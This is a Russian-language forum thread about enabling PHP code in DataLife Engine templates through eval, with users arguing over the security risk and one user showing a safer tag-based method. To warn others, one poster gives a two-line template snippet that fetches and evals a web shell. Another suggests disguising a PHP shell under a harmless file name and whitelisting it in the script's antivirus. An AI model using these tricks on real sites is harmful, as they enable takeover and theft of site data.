Перейти к публикации

Рекомендованные сообщения

Искал как мог эту тему по всему форуму, но к сожалению с ограничение в 4 символа в поиске тут.. сделать это нереально та как даже слово "php" я вставить не могу.. а на запрос "вставить шаблон" выдает кучу совершенно не нужных тем.. Так вот вопрос, как? По старому методу:

eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');

какой то глюк, страница выводиться как 2 сайте.. сверху один пустов в теле (там где должен быть php) а ниже опять шапка и снова сайт, но в теле уже все ок с выводом php.. ну тоесть, не корректно выводится.. как быть?

Ссылка на сообщение
Поделиться на других сайтах

неужели так трудно отвечать по теме?

p.s. я понятия даже не понял что Вы имели ввиду, какой код мне нужно переписывать? если у меня пхп код, это ж как я его на хтмл перепешу что бы вставить в шаблон и он работал со всеми функциями? из разряда фантастики? или из разряда суперпродуманных? в любом случае, в моем случае проще разрешить вставку php в шаблоны движка..

Ссылка на сообщение
Поделиться на других сайтах

Для того, чтобы шаблон main.tpl смог распознавать php-код, Вам

необходимо в файле index.php заменить строку

echo $tpl->result['main'];
на строку
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');

После того, как Вы сделаете данные изменения, сайт будет работать

по-прежднему, только еще обрабатывать php-код в шаблонах tpl

Только что сделал на версии 6.5 (нужно было вставить код для рекламных ссылок - условие рекламодателя).

Всё работает - http://bestsafari.org/

Изменено пользователем biggamehunter
Ссылка на сообщение
Поделиться на других сайтах

Пашо,

Вы бы прислушались к IT-Security, чем хамить.

Разрешать вставлять php код в tpl файлы очень опасно.

А потом придете сюда и будете плакаться, что Вас взломали на чистом дистрибутиве.

Ссылка на сообщение
Поделиться на других сайтах

Вопрос о вставке php-кода возникает не так уж редко (при установке счётчика inetlog.ru, например).

Неужели единственный способ от взлома - не пользоваться php на страницах вообще?

И никаких разумных вариантов?

Изменено пользователем biggamehunter
Ссылка на сообщение
Поделиться на других сайтах

Шаблоны на то и шаблоны, чтобы в них НЕ БЫЛО кода.

Есть такое понятие, как разделение ДИЗАЙНА и КОДА.

Блин. Меня просто убивает когда мне хамят на пустом месте!

А просто попросить типа "Сергей, Вы не могли бы взглянуть на мой код?Может вы смогли бы его переделать, чтобы он работал?"

Раз нехватает ума, то научу "вставлять PHP в HTML".

ВЕСЬ вывод скрипта (echo, print) пихается в 1 переменную.

Потом в Index.php после инициализации main.tpl делается require или include.

А потом делается:

$tpl->set('{тег_в_шаблоне}', $переменная_вывода);

Без уважения Сергей.

Ссылка на сообщение
Поделиться на других сайтах

biggamehunter,

у меня лично стоит счетчик CNStat.

Там тоже требуется вставить php код.

Я просто вставил этот код в index.php и все дела.

А если уж совсем никак, то убирайте значит этот счетчик. Большинство счетчиков можно поставить и без разрешения вставки php кода в tpl файлы.

Ссылка на сообщение
Поделиться на других сайтах

IT-Security, ЖЕСТЬ ..

+1.

Может , написал бы , как нибудь , исходя их пожелания безумцев, на подобии меня, некий МАН по НЕДОКУМЕНТИРОВАННЫМ ВОЗМОЖНОСТЯМ DLE ???

Ссылка на сообщение
Поделиться на других сайтах

Это не недокументированная возможность DLE, а простая модификация кода.

О том как делать свои модули можно почитать в соответствующей статье.

Кстати. Раз народу так неймётся с php-кодом в шаблонах опишу пожалуй пример взлома.

Сценарий первый:

Вы взяли в администраторы человека, а он оказался не очень добропорядочным и хочет захватить контроль над сайтом.

Если у Вас включен пхп в шаблонах ему всего то надо написать в main.tpl:

$shell = file_get_contents("путь_до_шелла");

eval($shell);

И собственно всё. Там уже спокойно смотрится доступ к базе.

А это 99%, что базу данных сайта или грохнут или уведут.

+ Через шелл можно спокойненько слить любые файлики с фтп.

Сценарий второй:

Ваш пароль взломали и получили доступ к админ-центру.

Далее сценарий первый.

Ссылка на сообщение
Поделиться на других сайтах

А это 99%, что базу данных сайта или грохнут или уведут. IT-Security, А недобросовестный админ НЕ МОЖЕТ увести базу путём СКАЧИВАНИЯ ЕЁ РЕЗЕРВНОЙ КОПИИ штатными средствами ДЛЕ ??

А "ВОССТАНОВИВ"базу из обнулённог дампа - не грохнет её, любимую ??

К чему ж тогда эти извраты с шеллом и фи ти пёй ?? Заумно , ненаходите ?? 65 кб занимает прелестный myPhpShell. Назови его как нить безобидно , advansed_user_class.php, положи куда нить , (он же админ !!) и юзай .. БЕЗ НАРУШЕНИЙ ЦЕЛОСНОСТИ ФАЙЛОВ СКРИПТА ..

Если мы уже доверяем кому то святая святых - быть админом сайта - то тут уж . Или угадали , или нас поимеют . третьего - не дано .

Ссылка на сообщение
Поделиться на других сайтах

Дело в том, что мне рекламодатель для вывода его ссылок на моём сайте дал код типа

<?php

  echo $links -> show_links('1');

?>

для вставки в шаблон, поэтому или отказываться вообще от сотрудничества, или включать php.

Я не специалист, но неужели это грозит столь катастрофической уязвимостью?

Если кто-то получит доступ к админпанели или серверу - тогда понятно.

Но если этот доступ только в собственных руках, каким образом может быть взломан сайт только за счёт включённого php?

Вот взять os commerce, например (да и многие другие движки), так там вообще винегрет из html и php везде, а ведь это один из самых распространённых магазинов, вот уж ломать кого должны.

Или уязвим именно dle при включённом php? Можно ли с этим что-либо сделать?

Вопрос важный очень, хотелось бы ясности.

Ссылка на сообщение
Поделиться на других сайтах

2 Сергей, прошу прощения. Хамить не хотел, в моем понимании Ваше первое сообщение было оценено равносильно "Ты тупой баран, не проси херню.." и ничего дельного.. Поэтому и сорвался.. Уж слишком много таких умников развелось.. В моем случае php код не несет никакой опасности.. Он идет для партнерки на 3 статических страницы, для каждой из них я отдельно создал шаблоны. в которых просто внесу эти коды. Так уже было до 6.5 у меня на протяжении почти года, никаких проблем.. Да и взламывать там нечего.. Код генерирует вывод на странице определенных моделей сотовых телефонов.. Вот и все, спасибо за то что ответили адекватно и развернуто, ещё раз приношу свои извинения. Знал бы что Вы не просто умник флудер, в жизнь бы так не отреагировал.

2 biggamehunter

Спасибо!

Ссылка на сообщение
Поделиться на других сайтах

Это не недокументированная возможность DLE, а простая модификация кода.

О том как делать свои модули можно почитать в соответствующей статье.

Кстати. Раз народу так неймётся с php-кодом в шаблонах опишу пожалуй пример взлома.

Сценарий первый:

Вы взяли в администраторы человека, а он оказался не очень добропорядочным и хочет захватить контроль над сайтом.

Если у Вас включен пхп в шаблонах ему всего то надо написать в main.tpl:

$shell = file_get_contents("путь_до_шелла");

eval($shell);

И собственно всё. Там уже спокойно смотрится доступ к базе.

А это 99%, что базу данных сайта или грохнут или уведут.

+ Через шелл можно спокойненько слить любые файлики с фтп.

Сценарий второй:

Ваш пароль взломали и получили доступ к админ-центру.

Далее сценарий первый.

Скажите, а если доступ на FTP открыт только для определенного IP, то есть злоумышленник не имеет туда доступа, но получил доступ админа на сайт, что он может "увести" от туда? При этом скрипт работает как cgi, от имени пользователя.

положи куда нить , (он же админ !!) и юзай .. БЕЗ НАРУШЕНИЙ ЦЕЛОСНОСТИ ФАЙЛОВ СКРИПТА ..

Антивирус скрипта его обнаружит

Ссылка на сообщение
Поделиться на других сайтах

Антивирус скрипта его обнаружит

Ну, условия задачи остались, я надеюсь теже ?

Антивирус обнаруживает - это факт . А нидабрасовестный админ говорит ему . А это файло есть валидный, занесика его в списочек кошерных.

Скажите, а если доступ на FTP открыт только для определенного IP

Складывается такое ощущение , что мы напрочь забыли о 2 иных протоколах для утягания данных - сиреч smtp и http

biggamehunter

Сообщение #7

А чем тебе не нравится метода , предложенная уважаемым мною IT-Security ?

$tpl->set('{тег_в_шаблоне}', $переменная_вывода);

В моем случае php код не несет никакой опасности..

Я тоже так рассуждал, до определённого времени. Спасибо , старшие товарищи помогли и вразумили. В моём случае, как выяснилось , опасность и , что самое главное НЕПРЕДСКАЗУЕМОСТЬ несёт в себе САМА ВОЗМОЖНОСТЬ ИСПОЛНЕНИЯ КОДА.

Изменено пользователем dataman
Ссылка на сообщение
Поделиться на других сайтах

Итак....Ситуация первая.

Рекламодатель дал Вам некий код. Который находится например в

$xz->result();
в файле example.php В данном случае код находится в ФУНКЦИИ. => в 99% случаев есть такое понятие, как возврат функции. Тоесть на экран само по себе ничего не выведется. Открываем index.php Ищем:
$tpl->load_template('main.tpl');
Ниже сначала вставим наш файлик. Допустим что он лежит в одной папке с скриптом. Делаем в шаблоне заранее тэг. Например {test_tag}
require_once("example.php");

$tpl->set('{test_tag}', $xz->result(););
Случай второй: Есть некий скрипт, который полностью генерирует вывод. Тоесть внутри него использовано echo. Тут можно поступить двумя путями. Первый: Итак у нас есть файл buffer.php (условное имя), в котором используется echo для вывода некоторой информации. Открываем index.php Ищем:
$tpl->load_template('main.tpl');
Ниже пишем:
$my_buffer = @file_get_contents("buffer.php");
Если данный вариант не работает (У хостера отключена ф-ция), то делаем так:
$my_buffer = "";

$my_buff = @file("buffer.php");

foreach ($my_buff as $key=>$value)

{

$my_buffer.=$value;

}
А дальше ловкость рук. Ставим в шаблоне тэг и делаем:
$tpl->set('{test_tag}', $my_buffer);
Путь второй (Нужны более грубокие знания PHP) Открываем buffer.php (условное имя), в котором используется echo для вывода некоторой информации и пишем в самом начале:
$some_var = "";
А дальше ВЕСЬ вывод скрипта заменяем на:
$some_var.= "значения";
Открываем index.php Ищем: Ищем:
$tpl->load_template('main.tpl');
Ниже пишем:
require_once("buffer.php");

$tpl->set('{test_tag}', $some_var);
И последний случай...SAPE.ru =) Итак... Кладём sape.php в папку с Вашим ID (32 знака). Открываем index.php Ищем:
$tpl->load_template('main.tpl');
Ниже вставляем:
// SAPE

	define('_SAPE_USER', 'ВАШ_ID'); 

	require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); 

	$sape = new SAPE_client();

	$tpl->set('{sape}', $sape->return_links());

// END

В шаблоне не забываем сделать {sape}.

С уважением Ваш покорный слуга =)

Ссылка на сообщение
Поделиться на других сайтах

IT-Security, Фтарой раз нижайше прошу В Ы П У С Т И Т Ь ограниченным тиражом и увековечить себя (хотя - это врядли) на страницах этого форума свои наработки , коими можете поделиться.

Ссылка на сообщение
Поделиться на других сайтах

некий МАН по НЕДОКУМЕНТИРОВАННЫМ ВОЗМОЖНОСТЯМ DLE
я где-то слышал, что комбинация ctrl+R в админпанели перезагружает DLE, и он быстрее работает - пробуем!

Назови его как нить безобидно , advansed_user_class.php, положи куда нить , (он же админ !!
а что у нас админы уже и доступ по фтп имеют? Или каким образом файл то положить? :)

Вот взять os commerce, например (да и многие другие движки), так там вообще винегрет из html и php везде
os-commerce это вообще страшный сон програмиста, хоть и пытаются ввести smarty. а другие движки.. это какие же?

php-nuke и джумлы не в счёт, ибо не тянут.

IT-Security, БРАВО!!!

Изменено пользователем lifestar
Ссылка на сообщение
Поделиться на других сайтах

Чем именно я должен поделится и как именно ограничить тираж?

Слова высказанные на форуме полюбому разойдутся по всему инету.

Что я хочу и могу - то выкладываю.

А просто так дарить то, на чём зарабатываю я не буду.

Моими достижениями являются:

- JS информер (берёт из категории новости и передает через JS)

- Альтернативная баннерная система

- Всякие мелкие модификации типа RSS в категории и т.п.

Ссылка на сообщение
Поделиться на других сайтах

Ищем:

$tpl->load_template('main.tpl');
Ниже пишем:
$my_buffer = @file_get_contents("buffer.php");
Если данный вариант не работает (У хостера отключена ф-ция), то делаем так:
$my_buffer = "";

$my_buff = @file("buffer.php");

foreach ($my_buff as $key=>$value)

{

$my_buffer.=$value;

}
А дальше ловкость рук. Ставим в шаблоне тэг и делаем:
$tpl->set('{test_tag}', $my_buffer);

Не вышло однако, выдает в итоге тупо тег на белом фоне.. Первый шаг не помог. Ругался на ошибку в строке, попробовал путь 2, прописал вывод через тег. Но в итоге все равно тупо выводит тег на странице..

Ссылка на сообщение
Поделиться на других сайтах

IT-Security,

когда все протестишь, не забудь сюда выложить: http://forum.dle-news.ru/index.php?showtopic=36621

Ссылка на сообщение
Поделиться на других сайтах

IT-Security

Спасибо за разъяснения. Идея понятна, осталось обдумать и воплотить.

Lifestar

помимо os commerce в разных "сборках" - угораздило связаться - имел в виду в первую очередь simple machines forum и wordpress - просто пользуюсь ими, и везде обращает внимание "окрошка" из смеси php и html, просто уже как примета для буржуйских свободнораспространяемых осей.

Понятно, что неизмеримо легче разбираться в коде, особенно чужом, когда шаблоны на html, а исполняемый код от них отделён.

Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...